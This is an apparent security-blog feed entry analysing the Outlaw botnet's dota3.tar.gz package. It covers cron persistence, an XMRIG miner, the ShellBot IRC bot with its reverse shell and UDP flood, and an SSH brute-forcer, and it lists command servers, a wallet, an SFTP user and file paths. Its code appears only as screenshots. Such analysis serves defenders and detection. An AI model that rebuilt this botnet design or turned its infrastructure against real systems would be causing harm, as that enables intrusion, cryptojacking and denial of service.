tag:blogger.com,1999:blog-8808103771406934602024-03-13T22:44:38.285+03:00{ouz}Unknownnoreply@blogger.comBlogger55125tag:blogger.com,1999:blog-880810377140693460.post-51791713218295540532020-06-11T05:17:00.003+03:002020-06-16T22:50:04.260+03:00Outlaw Botnet XMRIG Miner and Shellbot Campaign Technical Analysis<div style="text-align: justify;"><font size="4">I saw a sample in the wild and decided to take a deep dive into it. It didn't take took long to realize that this is just a piece of a bigger campaign related to Outlaw hacking group.</font></div><div style="text-align: justify;"><font size="4">In this post, you'll find the details of the 4 stages of the campaign</font></div><div><ul style="text-align: left;"><li style="text-align: justify;"><font size="4">Persistence</font></li><li style="text-align: justify;"><font size="4">Cryptominer</font></li><li style="text-align: justify;"><font size="4">IRC Bot</font></li><li style="text-align: justify;"><font size="4">SSH Bruteforcer</font></li></ul><div style="text-align: justify;"><font size="4">The main sample which contains all these components is called <b><a href="https://www.virustotal.com/gui/file/a1747edddcf4f9807effc4bbca21df11694bc313761a0135293d2339d38f7677/detection" target="_blank">dota3.tar.gz</a></b> with the following overall architecture:</font></div></div><div><font size="4"><br /></font></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-rdH8e8ulPvY/XtkrWdMWl4I/AAAAAAAAE5E/kmP-SOvTxpgT2c4g01R8AVhMMEqWTzEoACK4BGAsYHg/s3096/Overall_Outlaw_Botbet_Architecture.png" style="margin-left: 1em; margin-right: 1em;"><font size="4"><img border="0" data-original-height="1680" data-original-width="3096" height="347" src="https://1.bp.blogspot.com/-rdH8e8ulPvY/XtkrWdMWl4I/AAAAAAAAE5E/kmP-SOvTxpgT2c4g01R8AVhMMEqWTzEoACK4BGAsYHg/w640-h347/Overall_Outlaw_Botbet_Architecture.png" width="640" /></font></a></div><div class="separator" style="clear: both; text-align: center;"><font size="4"><br /></font></div><div style="text-align: justify;"><font size="4">It spreads with SSH brute-force and it copies itself under <font face="courier"><b>/tmp/.X25-unix</b></font> directory after a successful SSH login try. </font></div><div style="text-align: justify;"><font size="4"><br /></font></div><div style="text-align: justify;"><font size="4">Overall malware file structure can be shown as follows:</font></div><div><font size="4"><br /></font></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-TV8W1SPt0p8/XtksZ0TsdgI/AAAAAAAAE5Y/Z_4W-GBsx8A-JRQlgEVNtcNN1almHHuSgCK4BGAsYHg/s1626/rsync-tree-cropped.png" style="margin-left: 1em; margin-right: 1em;"><font size="4"><img border="0" data-original-height="1626" data-original-width="1194" height="640" src="https://1.bp.blogspot.com/-TV8W1SPt0p8/XtksZ0TsdgI/AAAAAAAAE5Y/Z_4W-GBsx8A-JRQlgEVNtcNN1almHHuSgCK4BGAsYHg/w470-h640/rsync-tree-cropped.png" width="470" /></font></a></div><div class="separator" style="clear: both; text-align: center;"><font size="4"><br /></font></div><div class="separator" style="clear: both; text-align: justify;"><font size="4">It has 3 initialization scripts which are named <b><font face="courier">initall</font></b>, <b><font face="courier">init</font></b> and <b><font face="courier">init2</font></b> alongside the main folders which are named <b><font face="courier">a</font></b>, <b><font face="courier">b</font></b> and <b><font face="courier">c</font></b>. These <b><font face="courier">a</font></b>, <b><font face="courier">b</font>,</b> and <b><font face="courier">c</font></b> folders contain 3 main components of the malware: <b>Crypto miner</b>, <b>IRC bot</b> and <b>SSH Brute-forcer</b> respectively.</font></div><div class="separator" style="clear: both; text-align: justify;"><font size="4"><br /></font></div><div class="separator" style="clear: both; text-align: justify;"><font size="4"><b><font face="courier">initall</font></b> script is responsible for triggering the malware by initiating <b><font face="courier">init</font></b> and <b><font face="courier">init2</font></b> scripts.</font></div><div class="separator" style="clear: both;"><br /></div><h2 style="clear: both; text-align: left;">1. Persistence</h2><div class="separator" style="clear: both; text-align: justify;"><font size="4"><b><font face="courier">init</font></b> and <b><font face="courier">init2</font></b> scripts perform a cleanup from any potential previous infection and apply persistency steps by copying itself into <b><font face="courier">.configrc</font></b> directory under user home folder and adding cronjobs.</font></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-NgNzWSDycFc/Xtk1JeuSkJI/AAAAAAAAE6M/mODbJz_MdJwadSZKydig7oki8x-VGX80gCK4BGAsYHg/s1002/cronjobs.png" style="margin-left: 1em; margin-right: 1em;"><font size="4"><img border="0" data-original-height="212" data-original-width="1002" height="85" src="https://1.bp.blogspot.com/-NgNzWSDycFc/Xtk1JeuSkJI/AAAAAAAAE6M/mODbJz_MdJwadSZKydig7oki8x-VGX80gCK4BGAsYHg/w400-h85/cronjobs.png" width="400" /></font></a></div><div class="separator" style="clear: both;"><font size="4"><br /></font></div><div class="separator" style="clear: both;"><font size="4">After the persistency steps completed, it triggers its 3 main modules, Crypto miner, IRC bot and SSH brute-forcer.</font></div><div class="separator" style="clear: both;"><br /></div><h2 style="clear: both; text-align: left;">2. Cryptominer</h2><div class="separator" style="clear: both;"><div class="separator" style="clear: both; text-align: justify;"><font size="4">Crypto miner component (which is what is inside folder <b><font face="courier">a</font></b>) is a version of XMRIG. It performs various optimizations by checking CPU information and executes the miner binary called <font face="courier"><b><a href="https://www.virustotal.com/gui/file/fd9007df08c1bd2cf47fb97443c4d7360e204f4d8fe48c5d603373b2b2975708/detection" target="_blank">kswapd0</a></b></font> if the CPU architecture is 64-bit.</font></div><div class="separator" style="clear: both;"><font size="4"><br /></font></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-f6Cvg2tQS0E/Xtk2PbxTBUI/AAAAAAAAE6g/uiSQ3zqDAs8N9BLndFVBhaZrcP6XGK-KACK4BGAsYHg/s1256/a-a_sh.png" style="margin-left: 1em; margin-right: 1em;"><font size="4"><img border="0" data-original-height="588" data-original-width="1256" height="188" src="https://1.bp.blogspot.com/-f6Cvg2tQS0E/Xtk2PbxTBUI/AAAAAAAAE6g/uiSQ3zqDAs8N9BLndFVBhaZrcP6XGK-KACK4BGAsYHg/w400-h188/a-a_sh.png" width="400" /></font></a></div><div class="separator" style="clear: both;"><font size="4"><br /></font></div><div class="separator" style="clear: both;"><font size="4"><br /></font></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-n_Dsa9yWzAc/Xtk2_f34hqI/AAAAAAAAE64/LAbjHAzpi24ZlpTigamXoVvJ9EYs-6ZGwCK4BGAsYHg/s888/a-run_sh.png" style="margin-left: 1em; margin-right: 1em;"><font size="4"><img border="0" data-original-height="296" data-original-width="888" height="134" src="https://1.bp.blogspot.com/-n_Dsa9yWzAc/Xtk2_f34hqI/AAAAAAAAE64/LAbjHAzpi24ZlpTigamXoVvJ9EYs-6ZGwCK4BGAsYHg/w400-h134/a-run_sh.png" width="400" /></font></a></div><div class="separator" style="clear: both;"><font size="4"><br /></font></div><div class="separator" style="clear: both; text-align: justify;"><font size="4">XMRIG miners normally have a configuration file that stores the server details. <b><font face="courier">kswapd0</font></b> also have a configuration file called <b><font face="courier">config.json</font></b> embedded into the binary. Mining pool details and credentials can be extracted from this configuration when the binary is analyzed with a disassembler. (I used Ghidra here) </font></div><div><font size="4"><br /></font></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-eywENqXiBqk/XtnL9bQxEjI/AAAAAAAAE7o/KgYVIfGyTv4lkl0X_9tmQYkZM5fAbxtAQCK4BGAsYHg/s1261/XMRIG-Config-json.png" style="margin-left: 1em; margin-right: 1em;"><font size="4"><img border="0" data-original-height="451" data-original-width="1261" height="228" src="https://1.bp.blogspot.com/-eywENqXiBqk/XtnL9bQxEjI/AAAAAAAAE7o/KgYVIfGyTv4lkl0X_9tmQYkZM5fAbxtAQCK4BGAsYHg/w640-h228/XMRIG-Config-json.png" width="640" /></font></a></div><div class="separator" style="clear: both; text-align: justify;"><font size="4"><br /></font></div></div><div><div style="text-align: justify;"><font size="4">As seen in the beautified configuration content below, pool URLs on port <b>80</b> are</font></div><div style="text-align: justify;"><ul><li><font size="4">debian-package.center (which resolves to 45.9.148.117, 45.9.148.125, 45.9.148.129)</font></li><li><font size="4">45.9.148.125</font></li><li><font size="4">45.9.148.129</font></li></ul></div><div style="text-align: justify;"><font size="4">These pools are accessed on port 80 with the credentials</font></div><div style="text-align: justify;"><font size="4">“<b><font face="courier">45BLAvLNayefqNad3tGpHKPzviQUYHF1mCapMhgRuiiAJPYX4KyRCVg9veTmckPN7bDebx51LCuDQYyhFgVbUMhc4qY14CQ</font></b>” as username and “<b><font face="courier">x</font></b>” as the password.</font></div></div><div style="text-align: justify;"><font size="4"><br /></font></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-V7tX64rjhzg/XtnMg8X1VFI/AAAAAAAAE78/Db5GrMDnVyYxAMExv1pfUR4mewh-jaujwCK4BGAsYHg/s1796/XMRIG-pools-config-json.png" style="margin-left: 1em; margin-right: 1em;"><font size="4"><img border="0" data-original-height="962" data-original-width="1796" height="342" src="https://1.bp.blogspot.com/-V7tX64rjhzg/XtnMg8X1VFI/AAAAAAAAE78/Db5GrMDnVyYxAMExv1pfUR4mewh-jaujwCK4BGAsYHg/w640-h342/XMRIG-pools-config-json.png" width="640" /></font></a></div><div style="text-align: justify;"><font size="4"><br /></font></div><div style="text-align: justify;"><font size="4">This component also adds an SSH backdoor by adding and SSH key into <b><font face="courier">.ssh/authorized_keys</font></b></font></div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-02M2mDWliRQ/XtnN0IhurII/AAAAAAAAE8c/rCENYlXjwvA7XTyd9wJbKoC0WW2EQZsNACK4BGAsYHg/s2194/sshbackdoor.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="190" data-original-width="2194" height="56" src="https://1.bp.blogspot.com/-02M2mDWliRQ/XtnN0IhurII/AAAAAAAAE8c/rCENYlXjwvA7XTyd9wJbKoC0WW2EQZsNACK4BGAsYHg/w640-h56/sshbackdoor.png" width="640" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><h2 style="clear: both; text-align: justify;">3.IRC Bot</h2><div class="separator" style="clear: both; text-align: justify;"><font size="4">IRC Bot component (which is what is inside folder <b><font face="courier">b</font></b>) is an actually a known IRC bot: <b>ShellBot</b>. It was written in Perl language and placed into the <b><font face="courier">b</font></b> folder in a packed and encoded format. When this component executed, it again performs a cleanup process which deletes files and kills running processes remained from possible previous infections. Then it triggers a bash script called <b><font face="courier"><a href="https://www.virustotal.com/gui/file/b2469af4217d99b16a4b708aa29af0a60edeec3242078f42fa03b8eaf285d657/detection" target="_blank">run</a></font></b> which installs the same SSH backdoor by adding the same SSH key again and unpacks/decodes the payload written in Perl and executes it. A snipped of obfuscated Perl code shown as follows:</font></div><div class="separator" style="clear: both; text-align: justify;"><font size="4"><br /></font></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-AisM5gy4MaY/XtnQD7-3BCI/AAAAAAAAE9I/JUmdRbpEw5Yji990_OsY7ZXWp9WBv8WSgCK4BGAsYHg/s2264/b-run_sh.png" style="margin-left: 1em; margin-right: 1em;"><font size="4"><img border="0" data-original-height="564" data-original-width="2264" height="160" src="https://1.bp.blogspot.com/-AisM5gy4MaY/XtnQD7-3BCI/AAAAAAAAE9I/JUmdRbpEw5Yji990_OsY7ZXWp9WBv8WSgCK4BGAsYHg/w640-h160/b-run_sh.png" width="640" /></font></a></div><div><font size="4"><br /></font></div><div style="text-align: justify;"><font size="4">There are a lot of ways to decode this base64 encoded payload but I decided to use Didier Stevens' <a href="https://blog.didierstevens.com/2018/05/25/update-base64dump-py-version-0-0-10/" target="_blank">base64dump</a> python script. When the <b><font face="courier">run</font></b> file is given as a parameter to base64dump, it searches through the the file for base64 strings and creates a report showing base64 encoded strings.</font></div><div><font size="4"><br /></font></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-OC_CjIAbDUQ/XtnUiDZP00I/AAAAAAAAE-E/0Ry1mJEOR_8tFrAWsmD_hf2OokljpQ8JQCK4BGAsYHg/s1552/base64dump-output-b-run.png" style="margin-left: 1em; margin-right: 1em;"><font size="4"><img border="0" data-original-height="366" data-original-width="1552" height="150" src="https://1.bp.blogspot.com/-OC_CjIAbDUQ/XtnUiDZP00I/AAAAAAAAE-E/0Ry1mJEOR_8tFrAWsmD_hf2OokljpQ8JQCK4BGAsYHg/w640-h150/base64dump-output-b-run.png" width="640" /></font></a></div><div><font size="4"><br /></font></div><div><font size="4">As it can be easily seen it identified out payload in id 2 and also identified the ssh key in id 5. This tool is very useful in bigger files and documents to identify base64 encoded strings within the file.</font></div><div><font size="4"><br /></font></div><div><font size="4">In order to decode the payload base64dump script requires -s argument with the id of the encoded string (in this case it is 2) and -d argument to dump.</font></div><div><font size="4"><br /></font></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-al00ZBegTO8/XtnX839TzgI/AAAAAAAAE_c/5xfWMUw_ixMLeVVZE-WMkQxMECW3rBAhgCK4BGAsYHg/s1938/base64dump-output-b-run-dump.png" style="margin-left: 1em; margin-right: 1em;"><font size="4"><img border="0" data-original-height="322" data-original-width="1938" height="106" src="https://1.bp.blogspot.com/-al00ZBegTO8/XtnX839TzgI/AAAAAAAAE_c/5xfWMUw_ixMLeVVZE-WMkQxMECW3rBAhgCK4BGAsYHg/w640-h106/base64dump-output-b-run-dump.png" width="640" /></font></a></div><div class="separator" style="clear: both; text-align: center;"><font size="4"><br /></font></div><div><font size="4">When the base64 encoded code is decoded packed perl script can be seen within the unpack function as an argument to eval.</font></div><div><font size="4"><br /></font></div><div><font size="4">In order to unpack this code easily, we'll let the <b><font face="courier">unpack</font></b> method to handle all unpacking by running it. But instead of using the <font face="courier"><b>eval</b></font>, to execute the unpacked code, we'll replace <font face="courier"><b>eval</b></font> with <font face="courier"><b>print</b></font> to print it out.</font></div><div><font size="4"><br /></font></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-jeinJlffI2Y/XtnYBc2gu8I/AAAAAAAAE_o/54h5Es1b4MESTJvrMw7yE1lRXjnW_DmzgCK4BGAsYHg/s1944/base64dump-output-b-run-print.png" style="margin-left: 1em; margin-right: 1em;"><font size="4"><img border="0" data-original-height="286" data-original-width="1944" height="94" src="https://1.bp.blogspot.com/-jeinJlffI2Y/XtnYBc2gu8I/AAAAAAAAE_o/54h5Es1b4MESTJvrMw7yE1lRXjnW_DmzgCK4BGAsYHg/w640-h94/base64dump-output-b-run-print.png" width="640" /></font></a></div><div class="separator" style="clear: both; text-align: center;"><font size="4"><br /></font></div><div style="text-align: justify;"><font size="4">Once the code above is executed, it results a perl script that starts as follows:</font></div><div style="text-align: justify;"><font size="4"><br /></font></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-TBAs2qwK9Yc/XtnYwHXCbEI/AAAAAAAAFAE/MxScsIHA3oI17AFNmzYtm3RRd8I9nsUyQCK4BGAsYHg/s1527/decoded-perl-payload_snippet%2Bcopy.png" style="margin-left: 1em; margin-right: 1em;"><font size="4"><img border="0" data-original-height="715" data-original-width="1527" height="300" src="https://1.bp.blogspot.com/-TBAs2qwK9Yc/XtnYwHXCbEI/AAAAAAAAFAE/MxScsIHA3oI17AFNmzYtm3RRd8I9nsUyQCK4BGAsYHg/w640-h300/decoded-perl-payload_snippet%2Bcopy.png" width="640" /></font></a></div><div><font size="4"><br /></font></div><div style="text-align: justify;"><font size="4">The first couple of lines of the script shows the IRC server details, channel and admins.</font></div><div style="text-align: justify;"><font size="4"><br /></font></div><div style="text-align: justify;"><font size="4">Alongside with other functionalities IRC botnet module mainly capable of </font></div><div style="text-align: justify;"><ul><li><font size="4">Executing arbitrary commands sent from the C2 server </font></li></ul></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-lx1dKl2R_aw/XuF6f0wHGOI/AAAAAAAAFBc/HAcEdk9-Egw1DLqOT1vrNeE7Uezm3ggqwCK4BGAsYHg/s1404/Shellbot-execute-cmd.png" style="margin-left: 1em; margin-right: 1em;"><font size="4"><img border="0" data-original-height="898" data-original-width="1404" height="410" src="https://1.bp.blogspot.com/-lx1dKl2R_aw/XuF6f0wHGOI/AAAAAAAAFBc/HAcEdk9-Egw1DLqOT1vrNeE7Uezm3ggqwCK4BGAsYHg/w640-h410/Shellbot-execute-cmd.png" width="640" /></font></a></div><div style="text-align: justify;"><font size="4"><br /></font></div><div style="text-align: justify;"><ul><li><font size="4">Creating a TCP reverse shell</font></li></ul></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-h5XK05dbh0o/XuF6uRZuG7I/AAAAAAAAFBo/070P1K9Y08Qw0FteoTSq1pvUylfl_yBVwCK4BGAsYHg/s1642/Shellbot-reverse-shell.png" style="margin-left: 1em; margin-right: 1em;"><font size="4"><img border="0" data-original-height="786" data-original-width="1642" height="306" src="https://1.bp.blogspot.com/-h5XK05dbh0o/XuF6uRZuG7I/AAAAAAAAFBo/070P1K9Y08Qw0FteoTSq1pvUylfl_yBVwCK4BGAsYHg/w640-h306/Shellbot-reverse-shell.png" width="640" /></font></a></div><div style="text-align: justify;"><font size="4"><br /></font></div><div style="text-align: justify;"><p class="MsoNormal" style="font-family: "times new roman", serif; margin: 0in 0in 0.0001pt;"></p><ul><li><font size="4">Performing a port scan (fast and comprehensive options)</font></li></ul><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-8nFJrmLOOP0/XuF63YtFBDI/AAAAAAAAFB4/jyTSXPXJ8I0B7KV1q5q4b5xljJ1kYqWFQCK4BGAsYHg/s1968/Shellbot-portscan.png" style="margin-left: 1em; margin-right: 1em;"><font size="4"><img border="0" data-original-height="1128" data-original-width="1968" height="366" src="https://1.bp.blogspot.com/-8nFJrmLOOP0/XuF63YtFBDI/AAAAAAAAFB4/jyTSXPXJ8I0B7KV1q5q4b5xljJ1kYqWFQCK4BGAsYHg/w640-h366/Shellbot-portscan.png" width="640" /></font></a></div><p class="MsoNormal" style="font-family: "times new roman", serif; margin: 0in 0in 0.0001pt;"><font size="4"><br /></font></p></div><div style="text-align: justify;"><p class="MsoNormal" style="font-family: "times new roman", serif; margin: 0in 0in 0.0001pt;"></p><ul><li><font size="4">Triggering UDP flood to a targeted host with an arbitrary speed.</font></li></ul><font size="4"><o:p></o:p></font><p></p></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-yEUB0FUMs-I/XuF6-pVhx-I/AAAAAAAAFCI/bTJnGqbL1GA_3AqMXSDmo7gr-ykxIf3rQCK4BGAsYHg/s1474/Shellbot-udpdflood.png" style="margin-left: 1em; margin-right: 1em;"><font size="4"><img border="0" data-original-height="728" data-original-width="1474" height="316" src="https://1.bp.blogspot.com/-yEUB0FUMs-I/XuF6-pVhx-I/AAAAAAAAFCI/bTJnGqbL1GA_3AqMXSDmo7gr-ykxIf3rQCK4BGAsYHg/w640-h316/Shellbot-udpdflood.png" width="640" /></font></a></div><div style="text-align: justify;"><font size="4"><br /></font></div><div><h2 style="clear: both; text-align: justify;">4.SSH Brute-force</h2></div><div><font size="4">SSH brute-force component (which is what is inside folder <b><font face="courier">c</font></b>) is again start by doing a cleanup of possible previous infections and configures the number of threads based on the CPU architecture and executes the brute-force binary which is composed of two stages. </font></div><div><font size="4"><br /></font></div><div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-VPH5o15SEwM/XuF-IvpgTiI/AAAAAAAAFDI/5PYyqg-ABukgbtju0uBfmlMrqM0KaiZ5ACK4BGAsYHg/s974/tsm.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="252" data-original-width="974" height="166" src="https://1.bp.blogspot.com/-VPH5o15SEwM/XuF-IvpgTiI/AAAAAAAAFDI/5PYyqg-ABukgbtju0uBfmlMrqM0KaiZ5ACK4BGAsYHg/w640-h166/tsm.png" width="640" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: justify;"><font size="4"><b><font face="courier">tsm</font></b> bash script is a wrapper which executes <a href="https://www.virustotal.com/gui/file/d6c230344520dfc21770300bf8364031e10758d223e8281e2b447c3bf1c43d2b/detection" target="_blank"><b><font face="courier">tsm32</font></b></a> or <b><a href="https://www.virustotal.com/gui/file/99fa6e718f5f54b1c8bf14e7b73aa0cda6fe9793a958bd4e0a12916755c1ca93/detection" target="_blank"><font face="courier">tsm64</font></a></b> ELF binaries depending on the CPU architecture with the following parameters <font face="courier">-t <Number of Threads></font>, <font face="courier">-s <Timeout></font>, <font face="courier">-S <2nd Timeout></font>, <font face="courier">-p <Port to Connect></font> following by credentials file (named <b><font face="courier">p</font></b> above in the above screenshot) and the IP list to brute-force (named <b><font face="courier">ip</font></b> in the above screenshot)</font></div><div class="separator" style="clear: both; text-align: justify;"><font size="4"><br /></font></div><div class="separator" style="clear: both;"><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-Ixq5IFMyTrM/XuF-1SfWjAI/AAAAAAAAFDc/JtdmlDL_Z34PXN4Z70K1WgoOzQQe4S2MgCK4BGAsYHg/s1736/faster-than-light-scanner.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="896" data-original-width="1736" height="330" src="https://1.bp.blogspot.com/-Ixq5IFMyTrM/XuF-1SfWjAI/AAAAAAAAFDc/JtdmlDL_Z34PXN4Z70K1WgoOzQQe4S2MgCK4BGAsYHg/w640-h330/faster-than-light-scanner.png" width="640" /></a></div><br /><font size="4">When these <b><font face="courier">tsm</font></b> ELF binaries executed, it shows a helper view to explain its usage.</font></div><div class="separator" style="clear: both;"><font size="4"><br /></font></div><div class="separator" style="clear: both;"><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-Z8JAHH540wo/XuF_RooHb6I/AAAAAAAAFDw/nkpqjvuj62wn6UMgaekcGl4_5sxRBycNwCK4BGAsYHg/s974/tsm-architecture.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="187" data-original-width="974" height="122" src="https://1.bp.blogspot.com/-Z8JAHH540wo/XuF_RooHb6I/AAAAAAAAFDw/nkpqjvuj62wn6UMgaekcGl4_5sxRBycNwCK4BGAsYHg/w640-h122/tsm-architecture.png" width="640" /></a></div><font size="4"><br /></font></div><font size="4"><div style="text-align: justify;"><div>These p and ip files are downloaded by the first stage of the <b><font face="courier">tsm</font></b> binaries. They are served in a SFTP servers located in <b>45.9.148.117</b>, <b>45.9.148.125</b>, <b>45.9.148.129</b> IP addresses <b>port 22</b>. Username to access these SFTP servers is "<b><font face="courier">buffer</font></b>".</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-8QoxIrPtEvI/XuGNWEZBaWI/AAAAAAAAFE0/rxyKzwECVy847iHiYLJ77Z-scR9YnRrzQCK4BGAsYHg/s1556/SFTP_connect_to_C2.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1238" data-original-width="1556" height="510" src="https://1.bp.blogspot.com/-8QoxIrPtEvI/XuGNWEZBaWI/AAAAAAAAFE0/rxyKzwECVy847iHiYLJ77Z-scR9YnRrzQCK4BGAsYHg/w640-h510/SFTP_connect_to_C2.png" width="640" /></a></div><div><br /></div><div>As it can be seen by the screenshot above, malware connects to 45.9.148.125 port 22 (16 in hex) with the <b>buffer</b> user.</div><div><br /></div><div>These <b><font face="courier">p</font></b> and <b><font face="courier">ip</font></b> files are periodically updated on the SFTP servers to distribute SSH brute-force jobs to infected machines.</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-8LdKspgNLyQ/XuGN94JqRlI/AAAAAAAAFFI/6Xp75eXo-U0-SDQCgbCFaQBcQriV8O7PACK4BGAsYHg/s1172/dev-shm-ip-p.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="872" data-original-width="1172" height="476" src="https://1.bp.blogspot.com/-8LdKspgNLyQ/XuGN94JqRlI/AAAAAAAAFFI/6Xp75eXo-U0-SDQCgbCFaQBcQriV8O7PACK4BGAsYHg/w640-h476/dev-shm-ip-p.png" width="640" /></a></div><div><br /></div><div>These files are downloaded from SFTP server into temporary files named <b>a</b> and <b>b</b>. These files then are sorted randomly and written into <b>ip</b> and <b>p</b> files respectively.</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-N5dY1q1g7tI/XuGQh2RjBJI/AAAAAAAAFF4/jdKgVhy1MEcBHVMBeZQJp0fR8akGKC_ewCK4BGAsYHg/s1334/dev-shm-ip-to-a.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="426" data-original-width="1334" height="204" src="https://1.bp.blogspot.com/-N5dY1q1g7tI/XuGQh2RjBJI/AAAAAAAAFF4/jdKgVhy1MEcBHVMBeZQJp0fR8akGKC_ewCK4BGAsYHg/w640-h204/dev-shm-ip-to-a.png" width="640" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-hgmCfu4auU0/XuGQl8qnYfI/AAAAAAAAFGE/NrLTp9OhYjYwZusSjcTYHvWretc9_KLBwCK4BGAsYHg/s1376/dev-shm-p-to-b.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="498" data-original-width="1376" height="232" src="https://1.bp.blogspot.com/-hgmCfu4auU0/XuGQl8qnYfI/AAAAAAAAFGE/NrLTp9OhYjYwZusSjcTYHvWretc9_KLBwCK4BGAsYHg/w640-h232/dev-shm-p-to-b.png" width="640" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-9fh-6V8Q7BA/XuGQqgk1o3I/AAAAAAAAFGQ/ttMmGKzkmacc_zYjXhYeflV8ivLpZ8y5wCK4BGAsYHg/s1664/convert-b-a-to-p-ip.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="216" data-original-width="1664" height="84" src="https://1.bp.blogspot.com/-9fh-6V8Q7BA/XuGQqgk1o3I/AAAAAAAAFGQ/ttMmGKzkmacc_zYjXhYeflV8ivLpZ8y5wCK4BGAsYHg/w640-h84/convert-b-a-to-p-ip.png" width="640" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: justify;"><p class="MsoNormal" style="font-family: "times new roman", serif; margin: 0in 0in 0.0001pt;">A snippet of <b>p</b> file contents can be seen below:<o:p></o:p></p><p class="MsoNormal" style="font-family: "times new roman", serif; font-size: 12pt; margin: 0in 0in 0.0001pt;"><br /></p><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-43Trl9GF_Ek/XuGQ8kwTIhI/AAAAAAAAFGs/No0kVTf3ZcQSv8KS1rsv7_yKNDCQaKdCgCK4BGAsYHg/s587/p%2Bfile.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="395" data-original-width="587" height="269" src="https://1.bp.blogspot.com/-43Trl9GF_Ek/XuGQ8kwTIhI/AAAAAAAAFGs/No0kVTf3ZcQSv8KS1rsv7_yKNDCQaKdCgCK4BGAsYHg/w400-h269/p%2Bfile.png" width="400" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: justify;">The first stage is completed after malware downloads the IP list (<b>ip</b>) and credential file (<b>p</b>) It then starts the second phase which is the component performs SSH brute-force to the downloaded IPs with the downloaded credentials.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-JtLEZptZKxc/XuGRkjNdRxI/AAAAAAAAFHE/ZPfFJdojQvAJH2NUWhdi_ZkJNOC0SRz3gCK4BGAsYHg/s1038/stage1complete.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1000" data-original-width="1038" height="385" src="https://1.bp.blogspot.com/-JtLEZptZKxc/XuGRkjNdRxI/AAAAAAAAFHE/ZPfFJdojQvAJH2NUWhdi_ZkJNOC0SRz3gCK4BGAsYHg/w400-h385/stage1complete.png" width="400" /></a></div><div class="separator" style="clear: both; text-align: justify;"><br /></div><div class="separator" style="clear: both; text-align: justify;"><div class="separator" style="clear: both;">After a successful SSH login, it transfers the whole package in a compressed file called <a href="https://www.virustotal.com/gui/file/a1747edddcf4f9807effc4bbca21df11694bc313761a0135293d2339d38f7677/detection" target="_blank"><b><font face="courier">dota3.tar.gz</font></b></a> into <b><font face="courier">/var/tmp</font></b> directory on the target machine. It then copies it into <b><font face="courier">/tmp/.X25-unix</font></b> folder and decompresses it after performing a cleanup on the possible remaining artifacts from previous campaigns (<font face="courier"><b>.X13-unix, .X17-unix, .X19-unix</b></font> etc.).</div><div class="separator" style="clear: both;"><br /></div><div class="separator" style="clear: both;">It then performs a local SSH brute-force on <b>192.168.0.0/16</b> and <b>172.16.0.0/12</b> CIDRs with the current successfully logged in credentials which are saved into <b><font face="courier">/tmp/up.txt</font></b>.</div><div><br /></div></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-59Q4XywxUHo/XuGSYX3KOiI/AAAAAAAAFHk/XHSbCUzNYbEgTsrqIvGzdMBFsyUlevlTwCK4BGAsYHg/s1988/execute-dota-after-infection.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="598" data-original-width="1988" height="192" src="https://1.bp.blogspot.com/-59Q4XywxUHo/XuGSYX3KOiI/AAAAAAAAFHk/XHSbCUzNYbEgTsrqIvGzdMBFsyUlevlTwCK4BGAsYHg/w640-h192/execute-dota-after-infection.png" width="640" /></a></div><p class="MsoNormal" style="font-family: "times new roman", serif; font-size: 12pt; margin: 0in 0in 0.0001pt;"><br /></p></div><div 